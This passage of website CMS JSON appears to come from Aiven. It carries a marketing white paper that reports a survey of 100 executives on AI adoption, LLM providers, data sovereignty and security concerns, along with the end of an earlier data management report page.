nearly 500 IT professionals involved in data infrastructure operations at digital native companies worldwide over a period of four weeks in Q3 2022.\n\nFor organizations of more than 25 employees, we define those that have increased their full-time equivalent headcount by more than 50% as "},{"_key":"2a8ac36ebb6d","_type":"span","marks":["strong"],"text":"fast-growing"},{"_key":"638186673272","_type":"span","marks":[],"text":", and others as having experienced more "},{"_key":"df79862c8aba","_type":"span","marks":["strong"],"text":"conservative growth"},{"_key":"eec11836ec50","_type":"span","marks":[],"text":". "},{"_key":"5120cb6c09fe","_type":"span","marks":["strong"],"text":"Digital native"},{"_key":"fbfbba749dcb","_type":"span","marks":[],"text":" practices include, among others, use of cloud technologies (e.g. DBaaS), agile/lean methodologies, and involvement in DevOps activities (e.g. CI/CD). The "},{"_key":"5c21bbeb9ed9","_type":"span","marks":["strong"],"text":"job titles and roles"},{"_key":"b47cc8f265c9","_type":"span","marks":[],"text":" of the respondents were database administrator, IT manager, IT/system administrator, DevOps engineer/specialist, tech/engineering team lead, CIO / CTO / CSO, IT security manager, network security engineer, site reliability engineer. Profile distributions of the respondents can be found in the report appendix."}],"markDefs":[],"style":"normal"}],"title":"Methodology","variant":"oneColumn"}],"contentIsGated":false,"downloadLink":"https://go.aiven.io/aiven-data-infra-research-2023","downloadText":"Download the full report","hasVideo":false,"image":{"_type":"mainImage","asset":{"_ref":"image-994d0873a6115fc21b1d3283380747720767b697-2500x2500-png","_type":"reference"}},"registerForm":{"iframeHeight":800},"subtitle":[{"_key":"666764502614","_type":"block","children":[{"_key":"5964fe2e1f95","_type":"span","marks":["strong"],"text":"How companies equip themselves to respond to change."}],"markDefs":[],"style":"normal"},{"_key":"dcaccbc28d77","_type":"block","children":[{"_key":"d3cc01f3c432","_type":"span","marks":[],"text":"What are the emergent trends and best practices for a digital native company in this era of fast-changing data management tech?"}],"markDefs":[],"style":"normal"},{"_key":"849e3acdb90f","_type":"block","children":[{"_key":"d1dae38372a90","_type":"span","marks":[],"text":"In our report, we use "},{"_key":"7a25b445e1c2","_type":"span","marks":["em","strong"],"text":"fast growth"},{"_key":"c3f0bf72d56e","_type":"span","marks":[],"text":" to refer to the overall approach of swift innovation and response to change necessary for companies that are focused on increasing their personnel and tooling."}],"markDefs":[],"style":"normal"},{"_key":"059654e9f17b","_type":"block","children":[{"_key":"7f142200f2e2","_type":"span","marks":[],"text":"Below, we share the 8 key findings from the report for you to take in at a glance, and close with some final thoughts from Aiven’s experts. If your business is facing questions and considerations of data tech and best practices, you’ll find valuable insights here."}],"markDefs":[],"style":"normal"}],"summary":"This in-depth report is valuable reading for tech leaders looking for advantages–and risks–in the changing data management landscape.","title":"2023 state of data management solutions for digital natives","ytId":"biMcItwZghE"},"publishedAt":"2023-02-09T14:24:00.000Z","resourceTag":{"_type":"resourceTag","contentType":{"_ref":"d97d2f74-64a4-4256-9e78-86aaa00bf323","_type":"reference"},"tags":[{"_key":"6d74e1b089bc","_ref":"010c153e-6cdd-435a-ac5a-7800b7380103","_type":"tag"},{"_key":"1b95b84dd179","_ref":"de070e21-d443-4ca4-bb45-c3c1058d4d21","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"Tech leaders looking at the changing data management landscape and considerations of tech and best practices will find valuable insights in this report.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-5019176519ee55f868f4f2b4f906d2fb82b1f3cb-1200x630-jpg","_type":"reference"}},"metaTitle":"Report on data management approaches by digital natives"},"slug":{"_type":"slug","current":"/report/2023-state-of-data-management-solutions-for-digital-natives"}} {"__i18n_lang":"en","_createdAt":"2024-10-24T11:55:44Z","_id":"4f4c3dcb-bba3-4ab7-8044-0cda7ed83910","_rev":"pUSD55BbKwcTZOl8ylaY5c","_type":"report","_updatedAt":"2024-11-22T12:15:14Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"e8c83390e491","_type":"scrollSpyNavigation","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"items":[{"_key":"94385b2ab83f","_type":"scrollSpyNavItem","sectionId":"intro","title":"Introduction"},{"_key":"e28d418bb89c","_type":"scrollSpyNavItem","sectionId":"ai-journey","title":"Where businesses are on their AI journey"},{"_key":"d58ecb1bd477","_type":"scrollSpyNavItem","sectionId":"llm-providers","title":"LLM providers used in AI project production"},{"_key":"77b95238d985","_type":"scrollSpyNavItem","sectionId":"customer-perception","title":"Customers’ perception of GenAI use"},{"_key":"034c11bacf1c","_type":"scrollSpyNavItem","sectionId":"proprietary-private","title":"Importance of using data to fuel AI strategy"},{"_key":"57ed054da8de","_type":"scrollSpyNavItem","sectionId":"data-control","title":"Significance of data sovereignty and control"},{"_key":"a82f412dbf42","_type":"scrollSpyNavItem","sectionId":"top-challenges","title":"Top challenges"},{"_key":"84b566ed98dd","_type":"scrollSpyNavItem","sectionId":"genai-risk","title":"Top security, compliance, and privacy obligation risk"},{"_key":"c01fb9c0a508","_type":"scrollSpyNavItem","sectionId":"open-source","title":"Importance of open source and transparency"},{"_key":"5f9a28314e09","_type":"scrollSpyNavItem","sectionId":"business-outcome","title":"Top business outcome"},{"_key":"929c94b42c49","_type":"scrollSpyNavItem","sectionId":"aiven-solution","title":"Aiven solution"},{"_key":"09b56209f67b","_type":"scrollSpyNavItem","sectionId":"conclusion","title":"Conclusion"}],"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"?q_showExperience=experience-1732117011547","title":"Speak to a data expert"},"roundedCorners":"rounded-none","title":"Predicting the Data and AI Revolution","topOverlap":false,"variant":"vertical"},{"_key":"2291b66f5b2e","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"id":"intro","image":{"_type":"mainImage","asset":{"_ref":"image-1015f0c7f242edb1819f1f511b07f94a57598351-1216x1216-png","_type":"reference"}},"imagePosition":"top","mediaSticky":true,"mediaWidth":"default","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"bad5c4d749d3","_type":"block","children":[{"_key":"44c1fcd6b0bb","_type":"span","marks":[],"text":"Artificial intelligence is poised to shape the future of nearly every industry. By 2030, AI is expected to contribute more than $15 trillion to the global economy (Bloomberg 2024). However, the success of AI depends on data and data that meets standards of quality, security, compliance and sovereignty."}],"markDefs":[],"style":"normal"},{"_key":"8f5b2509f293","_type":"block","children":[{"_key":"f7cee24110ee0","_type":"span","marks":[],"text":"While most organizations have an AI roadmap in place and have made AI investments, many are still only in the exploration or project development stage. Only 17% have moved their AI projects into production. They appear to struggle with understanding AI’s complexity, specifically how the currently used solutions handle data privacy, security, compliance, sovereignty and quality. Since data is central to AI strategy, data-related challenges can be the main barrier to AI success."}],"markDefs":[],"style":"normal"},{"_key":"5c4762c3c463","_type":"block","children":[{"_key":"a33884a748430","_type":"span","marks":[],"text":"There’s also concern over the potential that their customers’ perception of their AI use will shift from currently being either positive or neutral to more negative if even one bad experience occurs, which is very likely if risks to data security, compliance and sovereignty are not managed. The neutral customer perception deemed by 42% could be due to their customers not understanding AI and how it is used to deliver real-life experiences. Also, organizations may not understand how their customers’ perception of their AI use in product and service delivery impacts their reputation."}],"markDefs":[],"style":"normal"},{"_key":"65eb3df0d883","_type":"block","children":[{"_key":"cd347a4f44b90","_type":"span","marks":[],"text":"To get deep insights into where major organizations are on their AI journey, what challenges they’re experiencing in executing their AI strategy and what business outcomes they expect from their AI investments, a survey was conducted by Gatepoint Research of 100 executives, all of whom are from the C-suite. Several industries were represented, including software, manufacturing, business services, finance and insurance. This white paper delves into their feedback, along with our analysis and a look at the potential future of AI and data."}],"markDefs":[],"style":"normal"}],"title":"Introduction","topOverlap":false,"variant":"mediaRight"},{"_key":"f31dc8dd3a0303f6bf3707c112575d37","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded","subtitle":[{"_key":"71b279a04930","_type":"block","children":[{"_key":"e7e336b6098e0","_type":"span","marks":[],"text":"Only 17% have moved their AI projects into production. They appear to struggle with understanding AI’s complexity, specifically how the currently used solutions handle data privacy, security, compliance, sovereignty and quality."}],"markDefs":[],"style":"blockquote"}],"topOverlap":false,"variant":"centerColumn"},{"_key":"ebb1336da0d8fc30f663a396e1c9c179","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"id":"ai-journey","image":{"_type":"mainImage","asset":{"_ref":"image-d68a2f7b7b47765f94194833a01eb4ad99b1e876-2160x2160-png","_type":"reference"}},"imagePosition":"top","mediaSticky":true,"mediaWidth":"default","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"813a4c7e372c","_type":"block","children":[{"_key":"c5a75e8b261d0","_type":"span","marks":[],"text":"Over 90% of executives have started down the AI path, with 17% already in production. However, the survey respondents’ organizations notably fall into one of two distinct yet evenly divided groups: one we call the trailblazers and the other we call the laggards. The 30% who are “actively developing solutions” and the 17% who have “GenAI use cases in production” and are “optimizing production deployments” are the trailblazers. The 22% who are “experimenting with technology” and the 22% who are “identifying possible use cases” are the laggards."}],"markDefs":[],"style":"normal"},{"_key":"729776f44360","_type":"block","children":[{"_key":"8dd13472c77f0","_type":"span","marks":[],"text":"The fact that only 17% of organizations have production-ready AI use cases is telling and reflects the immaturity of the market right now. Many organizations are still developing their AI strategy, considering the best use cases and exploring the potential business outcomes. Due to the rapid innovation in the space, they may be waiting for it to stabilize before making a major investment or simply waiting for others to blaze the trail and take on the risks. However, like moving to the cloud many years ago, organizations know they need to move to AI use to be innovative, deliver stand-out customer experiences, remain competitive and drive revenue. As survey responses indicate, their hesitancy is partly due to trying to understand and figure out how to work with AI’s complexity and its risks, such as issues with data security and privacy, data quality and data sovereignty."}],"markDefs":[],"style":"normal"},{"_key":"bc6a8d25ba25","_type":"block","children":[{"_key":"1ed1be043c1f0","_type":"span","marks":[],"text":"Organizations need to organize and leverage their data properly to adopt generative AI in a secure way. They need to profile the risks and address privacy and data sovereignty concerns, which may partly explain why the laggards are moving slowly on AI. They see there’s risk associated with using private or proprietary data to fuel their GenAI story. By doing a deep assessment of how their data is prepared and used for GenAI, they can develop and deliver new products that are compliant with their customers’ expectations and not create data breaches or other data security mishaps."}],"markDefs":[],"style":"normal"}],"title":"Where Businesses are on their AI Journey","topOverlap":false,"variant":"mediaRight"},{"_key":"43c5f6fbfb64","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded","subtitle":[{"_key":"b0b164e7b853","_type":"block","children":[{"_key":"154ea0049fad0","_type":"span","marks":[],"text":"The fact that only 17% of organizations have production-ready AI use cases is telling and reflects the immaturity of the market right now."}],"markDefs":[],"style":"blockquote"}],"topOverlap":false,"variant":"centerColumn"},{"_key":"48d6893af508203053ce1eb0b06dd0d2","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"id":"llm-providers","image":{"_type":"mainImage","asset":{"_ref":"image-1ca6e2c63f2da4c4b9435aefa3560194ba670406-2160x2160-png","_type":"reference"}},"imagePosition":"top","mediaSticky":true,"mediaWidth":"default","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"1db0cf569791","_type":"block","children":[{"_key":"8afa35fe57750","_type":"span","marks":[],"text":"Since the GenAI field is still growing, organizations in the experimentation stage with AI are adopting off-the-shelf models to start their prototyping and increase the speed of their testing. However, there’s the expectation they will move to using Open Source models once they understand the outcomes of the prototype and they proceed to analyzing production deployments as they will see that using off-the-shelf models is too costly and open source solutions enable end-to-end control without the limitation of working with a particular provider."}],"markDefs":[],"style":"normal"},{"_key":"9a5e1298cc24","_type":"block","children":[{"_key":"79fcd9f97e670","_type":"span","marks":[],"text":"The large language model (LLM) most commonly used (or planned for use) in the production phase of AI projects is OpenAI’s GPT (58% of survey respondents). Other off-the-shelf models are also used, including AWS/Bedrock (31%), Google Cloud/Gemini (25%), and Anthropic/Claude (15%)."}],"markDefs":[],"style":"normal"},{"_key":"3ccb331889f1","_type":"block","children":[{"_key":"005fcc0aacfe0","_type":"span","marks":[],"text":"Right now, the focus is on accelerating innovation and not on whether to use proprietary or open source LLMs. However, regardless of which tool or model organizations are using for AI, questions still need to be answered about where private data is and whether there is data compliance and sovereignty."}],"markDefs":[],"style":"normal"}],"title":"LLM Providers Used in AI Project Production","topOverlap":false,"variant":"mediaRight"},{"_key":"3663ab9a332a","_type":"numberList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"numbers":[{"_key":"0a09713c5420","_type":"numberItem","description":[{"_key":"35a19aacbaf5","_type":"block","children":[{"_key":"40f9cdc4a1f20","_type":"span","marks":[],"text":"The large language model (LLM) most commonly used (or planned for use) in the production phase of AI projects is OpenAI’s GPT (58% of survey respondents)."}],"markDefs":[],"style":"normal"}],"number":"58% OpenAI"}],"roundedCorners":"rounded","topOverlap":false},{"_key":"754e6d44588ed47fb9854738aaa8657e","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"id":"customer-perception","image":{"_type":"mainImage","asset":{"_ref":"image-facdaad31248fa3b78e2e0c4c2f4925cc598afc1-2160x2160-png","_type":"reference"}},"imagePosition":"top","mediaSticky":true,"mediaWidth":"default","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"e68a8d9b436d","_type":"block","children":[{"_key":"a010b3e375ed0","_type":"span","marks":[],"text":"Nearly all executives reported they believe their customers are generally positive (47%) or at least neutral (42%) about the use of GenAI (8% were “extremely positive”). The nearly 50% positive perception presents itself as a solid driver for innovation and potentially driving costs down while enhancing customer experiences. The neutral numbers suggest that many executives believe customers don’t completely understand GenAI and are waiting to see if it is positive or negative, perhaps because they haven’t seen anything real yet. They may not realize that GenAI is used in the products and services delivered to them."}],"markDefs":[],"style":"normal"},{"_key":"6eff78dc3a31","_type":"block","children":[{"_key":"c4ac1b47a3090","_type":"span","marks":[],"text":"It’s encouraging that only 3% believe their customers’ perception is negative. However, a lack of awareness or understanding about GenAI and its complexity opens up the possibility that customers move from being neutral or even positive to being negative, especially if data quality, privacy or security concerns arise or something such as a data breach occurs. There is a reputation risk when a GenAI project goes into production and there is no proper data privacy and security handling. If private data is not managed well, it could be exposed to third parties or leaked."}],"markDefs":[],"style":"normal"},{"_key":"5004d05a8b7d","_type":"block","children":[{"_key":"fe9ecaf13f660","_type":"span","marks":[],"text":"Organizations need to learn from the mistakes made during past technological transformations and consider the risk of something going wrong. To minimize risks, they must ensure data security, compliance and sovereignty."}],"markDefs":[],"style":"normal"}],"title":"Customers’ Perception of GenAI Use","topOverlap":false,"variant":"mediaRight"},{"_key":"042ae00bdd3e2162fc856a6efe5e2846","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"id":"proprietary-private","image":{"_type":"mainImage","asset":{"_ref":"image-fe3bf788a47ff6f722d7c4e7285bf8bcf5a1beda-2160x2160-png","_type":"reference"}},"imagePosition":"top","mediaSticky":true,"mediaWidth":"default","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"538a156cfbe0","_type":"block","children":[{"_key":"a484ac70eb100","_type":"span","marks":[],"text":"Almost three-quarters of executives consider private and proprietary data to be critical to ensuring success with their AI strategy. Interestingly, that means 26% believe it is only moderately important or not important at all. Again, this points to the need to understand the complexity of AI and the risks of exposing proprietary data. There may not be concern if AI is only used to generate blogs, but for more advanced use-cases, proprietary data is needed to train, fine-tune, and add context to models in order for them to work properly and accurately."}],"markDefs":[],"style":"normal"}],"title":"Importance of Using (Proprietary and Private) Data to Fuel AI Strategy","topOverlap":false,"variant":"mediaRight"},{"_key":"946fe7b4e6c64277852df27c5a0cafa2","_type":"numberList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"numbers":[{"_key":"0a09713c5420","_type":"numberItem","description":[{"_key":"f444728f1739","_type":"block","children":[{"_key":"d6cd3341311f0","_type":"span","marks":[],"text":"Almost three-quarters of executives consider private and proprietary data to be critical to ensuring success with their AI strategy."}],"markDefs":[],"style":"normal"}],"number":"3/4"}],"roundedCorners":"rounded","topOverlap":false},{"_key":"b459e5e2b7de73bdf488ffe9960c9ea9","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"id":"data-control","image":{"_type":"mainImage","asset":{"_ref":"image-3123745e2d11670ad823287984a17e8a47eee80f-2160x2160-png","_type":"reference"}},"imagePosition":"top","mediaSticky":true,"mediaWidth":"default","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"8b237d352f2b","_type":"block","children":[{"_key":"0cfa4c81e9e80","_type":"span","marks":[],"text":"Executives overwhelmingly (80%) say data sovereignty and control is as critical to strategic success as the use of private and proprietary data."}],"markDefs":[],"style":"normal"},{"_key":"3477a8c78fd1","_type":"block","children":[{"_key":"8ccec78cde260","_type":"span","marks":[],"text":"Since organizations are making huge investments into AI, they need to be in complete control of the solution, aiming to utilize cloud-agnostic and data-control solutions. The more control they get through being cloud-agnostic — control of their data, the flow, the transformation, and the data models — the better they can produce cost-effective, future-proofed solutions. "}],"markDefs":[],"style":"normal"},{"_key":"cf246eddaf8b","_type":"block","children":[{"_key":"d42e97e7fa50","_type":"span","marks":[],"text":"Companies in regulated industries, in particular, should be making significant investments in data sovereignty solutions. Having that data control and sovereignty in place mitigates the risks of data exposure. By minimizing risk, companies can best sway customers’ neutral perceptions in the positive direction."}],"markDefs":[],"style":"normal"}],"title":"Significance of Data Sovereignty and Control","topOverlap":false,"variant":"mediaRight"},{"_key":"0e06a81d3254b4e8e9b0de559bd5c0e6","_type":"numberList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"numbers":[{"_key":"0a09713c5420","_type":"numberItem","description":[{"_key":"3a03da9c3da2","_type":"block","children":[{"_key":"7adb9a8f17fa0","_type":"span","marks":[],"text":"Executives overwhelmingly (80%) say data sovereignty and control is as critical to strategic success as the use of private and proprietary data."}],"markDefs":[],"style":"normal"}],"number":"80%"}],"roundedCorners":"rounded","topOverlap":false},{"_key":"169096a3f7e7b78265d9d8c6b8d4c464","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"id":"top-challenges","image":{"_type":"mainImage","asset":{"_ref":"image-1d927e5adbc2203f740c77371537af95d48589c0-2160x2160-png","_type":"reference"}},"imagePosition":"top","mediaSticky":true,"mediaWidth":"default","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"a55d60f38210","_type":"block","children":[{"_key":"b26bcca93e1e0","_type":"span","marks":[],"text":"Most organizations are experiencing challenges with executing their AI roadmap, the top two being data security and privacy (58%) and data availability and quality (53%). This isn’t surprising given data is a critical component of AI strategy. These results expressly confirm that organizations struggle with data-related readiness for AI and still have a lot of work to do before moving to production AI."}],"markDefs":[],"style":"normal"},{"_key":"55cb4a402882","_type":"block","children":[{"_key":"2a064835fe840","_type":"span","marks":[],"text":"Organizations may be laggards because of these challenges but also due to other blocks cited, such as a lack of strategy (12%), board-level investment (14%) and speed to deployment (12%). The latter is interesting to note given that many organizations seem on the fence about AI, even with the rapid innovation in the space."}],"markDefs":[],"style":"normal"}],"title":"Top Challenges in Delivering Organization’s AI Strategy","topOverlap":false,"variant":"mediaRight"},{"_key":"50d29cf785c7ea64f32052ee173d0a53","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded","subtitle":[{"_key":"5601a453c06b","_type":"block","children":[{"_key":"c0bb7dc981b90","_type":"span","marks":[],"text":"Since 75% of organizations prioritize the use of private and proprietary data, many may be stuck in laggard mode because they lack data availability or quality and have concerns about data security and privacy."}],"markDefs":[],"style":"blockquote"}],"topOverlap":false,"variant":"centerColumn"},{"_key":"82c13752a3c5dcde724b268075286d74","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"id":"genai-risk","image":{"_type":"mainImage","asset":{"_ref":"image-7a576226cb2d2611f7b29a776201f53a570c9333-2160x2160-png","_type":"reference"}},"imagePosition":"top","mediaSticky":true,"mediaWidth":"default","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"96232a638b0f","_type":"block","children":[{"_key":"b89c0a3ccb2b0","_type":"span","marks":[],"text":"More than 25% of executives are primarily concerned about data breaches, while 17% are worried about not complying with regulatory standards and 16% fret about data sovereignty. This speaks to the importance of properly modeling data before adding it to any AI service."}],"markDefs":[],"style":"normal"},{"_key":"f7cf0fb3a2ff","_type":"block","children":[{"_key":"09caeb0ece400","_type":"span","marks":[],"text":"Again, there is the potential for a negative impact on customer sentiment if data risks are not managed and there is a breach or non-compliance. The customer AI perception needle could easily move from positive or neutral to negative and company reputation could be destroyed."}],"markDefs":[],"style":"normal"}],"title":"Top Security, Compliance, and Privacy Obligation Risk Relating to GenAI","topOverlap":false,"variant":"mediaRight"},{"_key":"9e6bbca6d09a9e5c7a74a0741d549518","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"id":"open-source","image":{"_type":"mainImage","asset":{"_ref":"image-8553ddd573b1476ab118378aef89c85247766e40-2160x2160-png","_type":"reference"}},"imagePosition":"top","mediaSticky":true,"mediaWidth":"default","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"af16818be207","_type":"block","children":[{"_key":"a88c96f1a33f0","_type":"span","marks":[],"text":"Most executives rate open source and transparency as moderately important, with more than a third leaning toward very important. The fact that open source and transparency are not currently sole deciding factors explains the high adoption of off-the-shelf models like OpenAI and Bedrock, however, there is clearly a critical focus among business leaders on mitigating risks and ensuring security while achieving successful production deployment."}],"markDefs":[],"style":"normal"},{"_key":"e5ab71040cb3","_type":"block","children":[{"_key":"acf730f910400","_type":"span","marks":[],"text":"With open source tools, organizations can reduce vendor lock-in and enhance control over both data and the models used. Executives do recognize that open source is the likely key to building future-proof solutions, which would explain the tendency to start leveraging more open source models."}],"markDefs":[],"style":"normal"},{"_key":"c3dcfcebd6ac","_type":"block","children":[{"_key":"d24c39c6ddea0","_type":"span","marks":[],"text":"The GenAI providers are constantly changing and we don’t know where they will be in one year or even who will be the best. So, while organizations are fine with using off-the-shelf models as they experiment with GenAI tools, they ultimately want to have the opportunity to swap a provider with another provider, or not rely on a specific infrastructure, and using open source would enable that"}],"markDefs":[],"style":"normal"},{"_key":"ee74098f3c0e","_type":"block","children":[{"_key":"bfbaf36252b60","_type":"span","marks":[],"text":"More importantly, open source tools can give organizations better control over the end-to-end data journey and the assurance that they know exactly how and where their data is being used."}],"markDefs":[],"style":"normal"}],"title":"Importance of Open Source and Transparency (vs Proprietary) When Selecting AI Technologies to Deploy","topOverlap":false,"variant":"mediaRight"},{"_key":"098112a1a690bb0e4cf3b90bb4b8ab54","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded","subtitle":[{"_key":"e4f1d525d10b","_type":"block","children":[{"_key":"7b7943aa73f00","_type":"span","marks":[],"text":"The GenAI providers are constantly changing and we don’t know where they will be in one year or even who will be the best."}],"markDefs":[],"style":"blockquote"}],"topOverlap":false,"variant":"centerColumn"},{"_key":"888ec4354a6fbb5f282de673e191564d","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"id":"business-outcome","image":{"_type":"mainImage","asset":{"_ref":"image-bd09353ef21f4b39b3037e77aa3ba6c430ff24d6-2160x2160-png","_type":"reference"}},"imagePosition":"top","mediaSticky":true,"mediaWidth":"default","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"0002a5dacfd1","_type":"block","children":[{"_key":"e9d31252d5420","_type":"span","marks":[],"text":"The number one business outcome that 26% of executives want to achieve from their investments in data and AI in the next 3-5 years is new revenue, which primarily comes from innovation. Delivering innovation on new products (15%) and improving the existing customer experience (15%) are just as important as cost reduction (16%) and competitiveness (15%)."}],"markDefs":[],"style":"normal"},{"_key":"d2f155892b52","_type":"block","children":[{"_key":"18de817345de0","_type":"span","marks":[],"text":"This feedback shows organizations have a clear focus on growth and innovation and making the customer experience a priority versus cost-cutting. It points away from the theory that AI displaces jobs and toward AI’s ability to create value. It also reveals a customer-centric mindset, as organizations view AI as a way to deliver new products that enhance their customers’ experience."}],"markDefs":[],"style":"normal"},{"_key":"ebdc88284bfd","_type":"block","children":[{"_key":"dc72a27871130","_type":"span","marks":[],"text":"This mindset reflects a focus on competitiveness through value delivery."}],"markDefs":[],"style":"normal"},{"_key":"55bf042c5339","_type":"block","children":[{"_key":"489530e93deb0","_type":"span","marks":[],"text":"AI Projects are presumably getting funded because organizations need to develop a new capability to differentiate themselves in the market instead of saying, “We can save 30%.” While cost savings are still important (37% of the survey respondents were CFOs), innovation is a top priority."}],"markDefs":[],"style":"normal"},{"_key":"8f337afeabf9","_type":"block","children":[{"_key":"b2790ceb79c80","_type":"span","marks":[],"text":"Even though businesses can see the outcomes that AI and Data investments can potentially drive, there still appears to be a hesitancy to be an AI and Data trailblazer. Their balancing of risk versus reward can become a critical point and eventually lead them to be late to the market with their innovation."}],"markDefs":[],"style":"normal"}],"title":"Top Business Outcome Data and AI Investments Need to Drive over the next 3-5 years","topOverlap":false,"variant":"mediaRight"},{"_key":"44e10ec501e1748d65807cf3ff07f325","_type":"textColumn","addSpaceBottom":true,"addSpaceTop":false,"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded","subtitle":[{"_key":"34cce7724604","_type":"block","children":[{"_key":"4a1e04f44e070","_type":"span","marks":[],"text":"According to McKinsey, companies that are data-driven outperform their competitors by up to 20% (McKinsey 2023)."}],"markDefs":[],"style":"blockquote"}],"topOverlap":false,"variant":"centerColumn"},{"_key":"696eb0bf5d0ff831c07bc9ccddd10749","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"c958eb59-d492-40aa-a66f-a5783772f970","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center 